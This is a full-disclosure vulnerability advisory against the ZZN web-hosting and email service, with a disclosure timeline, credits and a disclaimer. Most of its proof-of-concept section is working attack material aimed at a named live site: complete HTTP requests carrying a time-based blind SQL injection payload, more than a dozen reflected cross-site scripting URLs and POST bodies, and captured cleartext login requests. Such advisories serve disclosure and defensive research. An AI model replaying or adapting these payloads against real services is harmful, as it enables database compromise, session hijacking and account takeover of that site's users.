ZZN SQL Injection / XSS / Credential Disclosure

`ZZN (Web Hosting and Free email accounts) Blind SQLInjection / Cross Site Scripting /User credentials are sent in clear text/  
==================================================================================================================================================  
  
  
Report-Timeline:  
================  
2013-07-18: Researcher Notification I   
2013-07-19: Researcher Notificaction II  
2013-07-20: Researcher Notificaction III  
2013-07-20: Vendor Feedback  
2013-07-22: Ask About the Issues I / Not Response  
2013-07-23: Ask About the Issues II / Not Response  
2013-07-26: Not Response / Not Fixed  
2013-08-02: Not Response / Not Fixed  
2013-08-09: Full Disclosure  
  
  
I-VULNERABILITIES  
======================  
  
#Title: ZZN (Web Hosting and Free emailaccounts) Blind SQLInjection / Cross Site Scripting /User credentials are sent in clear text/  
  
#Vendor:http://www.zzn.com  
  
#Author:Juan Carlos García (@secnight)  
  
#Follow me   
  
http://highsec.es  
http://hackingmadrid.blogspot.com  
Twitter:@secnight  
  
  
II-Introduction:  
======================  
  
ZZN is a web hosting e-mail service.ZZN mail lets you create your OWN Web site and customized email service.  
  
Users can sign up and login to your email from www.your-name.zzn.com, or directly from your website.  
  
-Build a great FREE Website  
-Increase site stickiness by having users check their mail from your site.  
-Brand your email colors and logos to that of your site.  
-Choose from 14 interface languages.  
-Promote your site using the tagline attached to every outgoing message.  
-Keep in touch with your users using the mailing list feature.  
  
  
  
III-PROOF OF CONCEPT  
======================  
  
BLIND SQL INJECTION  
______________________________________  
  
Blind SQLinjection is a vulnerability that allows an attacker to alter backend SQL statements by manipulating the user input. An SQL injection occurs when web applications accept user input that is directly placed into a SQL statement   
  
and doesn't properly filter out dangerous characters.   
  
Attacks  
-------  
  
  
1-URL encoded POST input company was set to X'; WAIT FOR DELAY '0:0:4' --   
  
POST /membersarea_en/support_abuse.asp HTTP/1.1  
Content-Type: application/x-www-form-urlencoded  
Cookie: BIGipServerp-vzzn=3540124170.20480.0000; ASPSESSIONIDCACSTCRR=LOBIKGEDEGMDAPNNMPGPGHHE; ASPSESSIONIDACCSTCRR=GPBIKGEDMBJEMAJEEMDILMMC  
Host: www.zzn.com  
Connection: Keep-alive  
Accept-Encoding: gzip,deflate  
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)  
Accept: */*  
  
beenThere=yeah&company=X%27%3b%20waitfor%20delay%20%270%3a0%3a2%27%20--%20&Complaint=secnight&[email protected]&FirstName=secnight&inout=fromzzn&LastName=secnight&Phone=555-666-0606&RetURL=http%3a%2f%2fwww.zzn.com  
  
%2fmembersarea_en&SpamCopy=&[email protected]&VirtIP=  
  
  
  
2-URL encoded POST input company was set to X'; WAIT FOR DELAY '0:0:4' --   
  
POST /membersarea_en/support_abuse.asp HTTP/1.1  
Content-Length: 280  
Content-Type: application/x-www-form-urlencoded  
Cookie: BIGipServerp-vzzn=3540124170.20480.0000; ASPSESSIONIDCACSTCRR=LOBIKGEDEGMDAPNNMPGPGHHE; ASPSESSIONIDACCSTCRR=GPBIKGEDMBJEMAJEEMDILMMC  
Host: www.zzn.com  
Connection: Keep-alive  
Accept-Encoding: gzip,deflate  
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)  
Accept: */*  
  
beenThere=yeah&company=X%27%3b%20waitfor%20delay%20%270%3a0%3a2%27%20--%20&Complaint=secnight&[email protected]&FirstName=secnight&inout=fromzzn&LastName=secnight&Phone=555-666-0606&RetURL=http%3a%2f%2fwww.zzn.com  
  
%2fmembersarea_en&SpamCopy=&[email protected]&VirtIP=  
  
  
  
Multiple CROSS SITE SCRIPTING  
_______________________________  
  
Cross site scripting (also referred to as XSS) is a vulnerability that allows an attacker to send malicious code (usually in the form of Javascript) to another user. Because a browser cannot know if the script should be trusted or not,   
  
it will execute the script in the user context allowing the attacker to access any cookies or session tokens retained by the browser. Malicious users may inject JavaScript, VBScript, ActiveX, HTML or Flash into a vulnerable application   
  
to fool a user in order to gather data from them. An attacker can steal the session cookie and take over the account, impersonating the user. It is also possible to modify the content of the page presented to the user.   
  
  
Affected items  
/membersarea_en/alertwindow.asp   
/membersarea_en/copy%20of%20emailaccount.asp   
/membersarea_en/directemailerror.asp   
/membersarea_en/home.asp   
/membersarea_en/insidelogin.asp   
/membersarea_en/joinframes.asp   
/membersarea_en/loginerror.asp   
/membersarea_en/preminder.asp   
/membersarea_en/signup.asp   
/membersarea_en/support_abuse.asp   
  
  
  
Proof Of Concept   
----------------  
  
These files have at least one input (GET or POST).  
  
  
/membersarea_en/home.asp - 3 inputs  
  
/membersarea_en/joinframes.asp - 2 inputs  
  
/membersarea_en/emailaccount.asp - 4 inputs  
  
/membersarea_en/preminder.asp - 1 inputs  
  
/membersarea_en/signup.asp - 2 inputs  
  
/membersarea_en/support.asp - 1 inputs  
  
/membersarea_en/insidelogin.asp - 2 inputs  
  
/membersarea_en/directemailerror.asp - 1 inputs  
  
/membersarea_en/alertwindow.asp - 1 inputs  
  
/membersarea_en/loginerror.asp - 1 inputs  
  
/membersarea_en/support_abuse.asp - 1 inputs  
  
/membersarea_en/copy%20of%20emailaccount.asp - 1 inputs  
  
/membersarea_en/directregister.asp - 1 inputs  
  
/zlog - 1 inputs  
  
/zlog/blog_error.asp - 1 inputs  
  
  
  
TOO MANY Cross Site Scripting  
  
There are many more variants in both methods, I put these failures as an example .. but I repeat again, there are many more variants of these failures  
  
  
  
Method GET  
----------  
  
http://www.zzn.com/membersarea_en/alertwindow.asp?message=%27%22%28%29%26%251%3cScRiPt%20%3eprompt%28903379%29%3c%2fScRiPt%3e   
  
http://www.zzn.com/membersarea_en/alertwindow.asp?message=%27%22%28%29%26%251%3cScRiPt%20%3eprompt%28903379%29%3c%2fScRiPt%3e   
  
http://www.zzn.com/membersarea_en/directemailerror.asp?message=915766%27%28%29920634  
  
http://www.zzn.commembersarea_en/insidelogin.asp?fromPage=%22%20onmouseover%3dprompt%28908665%29%20bad%3d%22   
  
http://www.zzn.com/membersarea_en/joinframes.asp?main=join&type=%22%20onmouseover%3dprompt%28922666%29%20bad%3d%22  
  
http://www.zzn.com/membersarea_en/loginerror.asp?message=%27%22%28%29%26%251%3cScRiPt%20%3eprompt%28958884%29%3c%2fScRiPt%3e   
  
http://www.zzn.com/membersarea_en/signup.asp?EMailDomain=&FirstName=%22%20onmouseover%3dprompt%28910568%29%20bad%3d%22&LastName=&type=webmaster   
  
http://www.zzn.com/membersarea_en/signup.asp?EMailDomain=&FirstName=%22%20onmouseover%3dprompt%28939138%29%20bad%3d%22&LastName=&type=website   
  
http://www.zzn.com/membersarea_en/signup.asp?EMailDomain=&FirstName=&LastName=%22%20onmouseover%3dprompt%28927027%29%20bad%3d%22&type=webmaster   
  
http://www.zzn.com/membersarea_en/signup.asp?EMailDomain=&FirstName=&LastName=%22%20onmouseover%3dprompt%28949012%29%20bad%3d%22&type=community   
  
http://www.zzn.com/membersarea_en/signup.asp?EMailDomain=&FirstName=&LastName=%22%20onmouseover%3dprompt%28967610%29%20bad%3d%22&type=family  
  
http://www.zzn.com/membersarea_en/signup.asp?EMailDomain=&FirstName=&LastName=%22%20onmouseover%3dprompt%28960668%29%20bad%3d%22&type=website   
  
http://www.zzn.commembersarea_en/signup.asp?EMailDomain=&FirstName=&LastName=&type=%22%20onmouseover%3dprompt%28942440%29%20bad%3d%22  
  
  
  
Method POST  
-----------  
  
POST /membersarea_en/copy%20of%20emailaccount.asp HTTP/1.1  
Content-Type: application/x-www-form-urlencoded  
Cookie: BIGipServerp-vzzn=3540124170.20480.0000; ASPSESSIONIDCACSTCRR=LOBIKGEDEGMDAPNNMPGPGHHE; ASPSESSIONIDACCSTCRR=GPBIKGEDMBJEMAJEEMDILMMC  
Host: www.zzn.com  
Connection: Keep-alive  
Accept-Encoding: gzip,deflate  
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)  
  
  
company=SECNIGHT&firstname=%22%20onmouseover%3dprompt%28968469%29%20bad%3d%22&Interface=0&lastname=secnight&LoginPage=1  
  
  
  
POST /membersarea_en/copy%20of%20emailaccount.asp HTTP/1.1  
Content-Type: application/x-www-form-urlencoded  
Cookie: BIGipServerp-vzzn=3540124170.20480.0000; ASPSESSIONIDCACSTCRR=LOBIKGEDEGMDAPNNMPGPGHHE; ASPSESSIONIDACCSTCRR=GPBIKGEDMBJEMAJEEMDILMMC  
Host: www.zzn.com  
Connection: Keep-alive  
Accept-Encoding: gzip,deflate  
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)  
  
  
company=secnight&firstname=%22%20onmouseover%3dprompt%28960576%29%20bad%3d%22&Interface=0&lastname=secnight&LoginPage=1  
  
  
  
POST /membersarea_en/home.asp HTTP/1.1  
Content-Type: application/x-www-form-urlencoded  
Cookie: BIGipServerp-vzzn=3540124170.20480.0000; ASPSESSIONIDCACSTCRR=LOBIKGEDEGMDAPNNMPGPGHHE; ASPSESSIONIDACCSTCRR=GPBIKGEDMBJEMAJEEMDILMMC  
Host: www.zzn.com  
Connection: Keep-alive  
Accept-Encoding: gzip,deflate  
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)  
  
  
DoLogin=True&image1=&LogFlag=1&SubDomain=999971%22%28%29997917&UserPassword=  
  
  
  
  
POST /membersarea_en/insidelogin.asp HTTP/1.1  
Content-Type: application/x-www-form-urlencoded  
Cookie: BIGipServerp-vzzn=3540124170.20480.0000; ASPSESSIONIDCACSTCRR=LOBIKGEDEGMDAPNNMPGPGHHE; ASPSESSIONIDACCSTCRR=GPBIKGEDMBJEMAJEEMDILMMC  
Host: www.zzn.com  
Connection: Keep-alive  
Accept-Encoding: gzip,deflate  
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)  
Accept: */*  
  
DoLogin=True&FromFrames=True&FromWhere=false&image1=&origPage=20&SubDomain=986581%28%29996458&UserPassword=secnight  
  
  
  
POST /membersarea_en/insidelogin.asp HTTP/1.1  
Content-Type: application/x-www-form-urlencoded  
Cookie: BIGipServerp-vzzn=3540124170.20480.0000; ASPSESSIONIDCACSTCRR=LOBIKGEDEGMDAPNNMPGPGHHE; ASPSESSIONIDACCSTCRR=GPBIKGEDMBJEMAJEEMDILMMC  
Host: www.zzn.com  
Connection: Keep-alive  
Accept-Encoding: gzip,deflate  
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)  
  
  
DoLogin=True&FromFrames=True&FromWhere=false&image1=&origPage=20&SubDomain=986581%28%29996458&UserPassword=g00dPa$$w0rD  
  
  
  
  
POST /membersarea_en/preminder.asp HTTP/1.1  
Content-Type: application/x-www-form-urlencoded  
Cookie: BIGipServerp-vzzn=3540124170.20480.0000; ASPSESSIONIDCACSTCRR=LOBIKGEDEGMDAPNNMPGPGHHE; ASPSESSIONIDACCSTCRR=GPBIKGEDMBJEMAJEEMDILMMC  
Host: www.zzn.com  
Connection: Keep-alive  
Accept-Encoding: gzip,deflate  
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)  
  
  
NotFirstTime=true&rqHintSubDomain=%22%20onmouseover%3dprompt%28956443%29%20bad%3d%22  
  
  
  
  
  
POST /membersarea_en/signup.asp?type= HTTP/1.1  
Content-Type: application/x-www-form-urlencoded  
Cookie: BIGipServerp-vzzn=3540124170.20480.0000; ASPSESSIONIDCACSTCRR=LOBIKGEDEGMDAPNNMPGPGHHE; ASPSESSIONIDACCSTCRR=GPBIKGEDMBJEMAJEEMDILMMC  
Host: www.zzn.com  
Connection: Keep-alive  
Accept-Encoding: gzip,deflate  
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)  
  
  
confirm=&Country=__&DefaultLanguage=1&EMail=%22%20onmouseover%3dprompt%28927344%29%20bad%3d%22&[email protected]&FirstName=secnight&gender=N&LastName=secnight&Phone=555-666-0606&[email protected]&reUserPassword=g00dPa$  
  
$w0rD&SiteURL=http://highsec.esS&NOK=&UserPassword=g00dPa$$w0rD&yob=0&zip=94102  
  
  
  
  
POST /membersarea_en/signup.asp?type=website HTTP/1.1  
Content-Type: application/x-www-form-urlencoded  
Cookie: BIGipServerp-vzzn=3540124170.20480.0000; ASPSESSIONIDCACSTCRR=LOBIKGEDEGMDAPNNMPGPGHHE; ASPSESSIONIDACCSTCRR=GPBIKGEDMBJEMAJEEMDILMMC  
Host: www.zzn.com  
Connection: Keep-alive  
Accept-Encoding: gzip,deflate  
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)  
  
  
confirm=&Country=__&DefaultLanguage=1&[email protected]&[email protected]&FirstName=secnight&gender=N&LastName=%22%20onmouseover%3dprompt%28961485%29%20bad%3d%22&Phone=555-666-  
0606&[email protected]&reUserPassword=g00dPa$$w0rD&SiteURL=http://highsec.es&SNOK=&UserPassword=g00dPa$$w0rD&yob=0&zip=94102  
  
  
  
  
POST /membersarea_en/signup.asp?type= HTTP/1.1  
Content-Length: 325  
Content-Type: application/x-www-form-urlencoded  
Cookie: BIGipServerp-vzzn=3540124170.20480.0000; ASPSESSIONIDCACSTCRR=LOBIKGEDEGMDAPNNMPGPGHHE; ASPSESSIONIDACCSTCRR=GPBIKGEDMBJEMAJEEMDILMMC  
Host: www.zzn.com  
Connection: Keep-alive  
Accept-Encoding: gzip,deflate  
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)  
Accept: */*  
  
confirm=&Country=__&DefaultLanguage=1&[email protected]&[email protected]&FirstName=secnight&gender=N&LastName=secnight&Phone=%22%20onmouseover%3dprompt%28948601%29%20bad%3d  
%22&[email protected]&reUserPassword=g00dPa$$w0rD&SiteURL=http://highsec.es&SNOK=&UserPassword=g00dPa$$w0rD&yob=0&zip=94102  
  
  
POST /membersarea_en/signup.asp?type= HTTP/1.1  
Content-Type: application/x-www-form-urlencoded  
Cookie: BIGipServerp-vzzn=3540124170.20480.0000; ASPSESSIONIDCACSTCRR=LOBIKGEDEGMDAPNNMPGPGHHE; ASPSESSIONIDACCSTCRR=GPBIKGEDMBJEMAJEEMDILMMC  
Host: www.zzn.com  
Connection: Keep-alive  
Accept-Encoding: gzip,deflate  
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)  
  
  
confirm=&Country=__&DefaultLanguage=1&[email protected]&[email protected]&FirstName=secnight&gender=N&LastName=secnight&Phone=555-666-0606&[email protected]&reUserPassword=g00dPa$  
  
$w0rD&SiteURL=http://highsec.es&SNOK=&UserPassword=%22%20onmouseover%3dprompt%28967492%29%20bad%3d%22&yob=0&zip=94102  
  
  
  
  
  
POST /membersarea_en/support_abuse.asp HTTP/1.1  
Content-Type: application/x-www-form-urlencoded  
Cookie: BIGipServerp-vzzn=3540124170.20480.0000; ASPSESSIONIDCACSTCRR=LOBIKGEDEGMDAPNNMPGPGHHE; ASPSESSIONIDACCSTCRR=GPBIKGEDMBJEMAJEEMDILMMC  
Host: www.zzn.com  
Connection: Keep-alive  
Accept-Encoding: gzip,deflate  
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)  
  
  
beenThere=secnight&company=highsec&Complaint=secnight&[email protected]&FirstName=secnight&inout=fromzzn&LastName=secnight&Phone=555-666-0606&RetURL=http%3a%2f%2fwww.zzn.com%2fmembersarea_en&SpamCopy=&SpamEmail=%22%20onmouseover  
  
%3dprompt%28983845%29%20bad%3d%22&VirtIP=  
  
  
  
  
  
USER CREDENTIALS ARE SENT IN CLEAR TEXT  
_______________________________________  
  
User credentials are not encrypted when they are transmitted.A third party may be able to read the user credentials by intercepting an unencrypted HTTP connection.Because user credentials usually are considered sensitive information, it   
  
is recommended to be sent to the server over an encrypted connection of course.  
  
  
Affected items  
  
/membersarea_en/home.asp (13310f83d103a349490b8582539e8e21)   
/membersarea_en/home.asp (4aaaffaf70dda99921aec4f1b2ceda9b)   
/membersarea_en/insidelogin.asp   
/membersarea_en/insidelogin.asp (4ea409a137fbaff8d5b639c5c42f16fb)   
/membersarea_en/insidelogin.asp (58b6536a2fd7f196e5ff147122d20d98)   
/membersarea_en/insidelogin.asp (67306227331ba5cbb21a0c2aebce7241)   
/membersarea_en/insidelogin.asp (b67529bf426329db238325c03ba3ac46)   
/membersarea_en/insidelogin.asp (b91e4b1df6bdc5d9e626034018953543)   
/membersarea_en/loginbox.asp   
/membersarea_en/signup.asp   
/membersarea_en/signup.asp (134f342931a2e21525c6aa2cc3172a10)   
/membersarea_en/signup.asp (6951aefa9721a0c5da3591ca525d49fe)   
/membersarea_en/signup.asp (6afc2b9654e79ff801823fbaf74a6984)   
/membersarea_en/signup.asp (80e7b7df44c32c456eb77aa274db4c08)   
/membersarea_en/signup.asp (9791cfb3ed5d1e88c7a13337e5afb6da)   
/membersarea_en/signup.asp (9b77eec0e71402d51f3f9b4bc0bd36f9)   
/membersarea_en/signup.asp (c18e6bf01d3e39b1b9bccf1a50909498)   
/membersarea_en/signup.asp (d087acb8154fc2e7ac71718a76ecf9b1)   
/membersarea_en/signup.asp (d3c9ccf4d5c2c129b6eaa3c685ad11ef)   
/membersarea_en/signup.asp (decad2f3bdc62c80a19d23c110dd40d4)   
/membersarea_en/signup.asp (f321b396abface84ca2dc3a5facb1bd4)   
/membersarea_en/signup.asp (f9583d9e844817a92b7f0743a7c9becf)   
  
  
Examples ( TOO MANY variants)  
  
  
POST /membersarea_en/home.asp HTTP/1.1  
Pragma: no-cache  
Acunetix-Aspect: enabled  
Acunetix-Aspect-Password: 8d3b79cd70a5d7b8b5b273ddce225c7a  
Acunetix-Aspect-Queries: filelist;aspectalerts  
Referer: http://www.ZZN.COM/membersarea_en/home.asp?from=g1&s=www.zzn.com  
Content-Length: 55  
Content-Type: application/x-www-form-urlencoded  
Cookie: BIGipServerp-vzzn=3540124170.20480.0000; ASPSESSIONIDCACSTCRR=LOBIKGEDEGMDAPNNMPGPGHHE; ASPSESSIONIDACCSTCRR=GPBIKGEDMBJEMAJEEMDILMMC  
Host: www.ZZN.COM  
Connection: Keep-alive  
Accept-Encoding: gzip,deflate  
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)  
Accept: */*  
  
DoLogin=True&image1=&LogFlag=1&SubDomain=&UserPassword=  
  
  
  
  
GET /membersarea_en/insidelogin.asp?fromPage=homepagez.asp   
  
  
  
POST /membersarea_en/signup.asp?type= HTTP/1.1  
Pragma: no-cache  
Password: 8d3b79cd70a5d7b8b5b273ddce225c7a  
filelist;aspectalerts  
Referer: http://www.ZZN.COM/membersarea_en/signup.asp  
Content-Type: application/x-www-form-urlencoded  
Cookie: BIGipServerp-vzzn=3540124170.20480.0000; ASPSESSIONIDCACSTCRR=LOBIKGEDEGMDAPNNMPGPGHHE  
Host: www.ZZN.COM  
Connection: Keep-alive  
Accept-Encoding: gzip,deflate  
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)  
  
  
confirm=&Country=AF&DefaultLanguage=1&[email protected]&[email protected]&FirstName=secnight&gender=N&LastName=secnight&Phone=555-666-0606&[email protected]&reUserPassword=g00dPa$  
  
$w0rD&SiteURL=http://highsec.es&SNOK=&UserPassword=g00dPa$$w0rD&yob=0&zip=94102  
  
  
IV. CREDITS  
-------------------------  
  
This vulnerabilities has been discovered  
by Juan Carlos García(@secnight)  
  
  
V. LEGAL NOTICES  
-------------------------  
  
The Author accepts no responsibility for any damage  
caused by the use or misuse of this information.  
`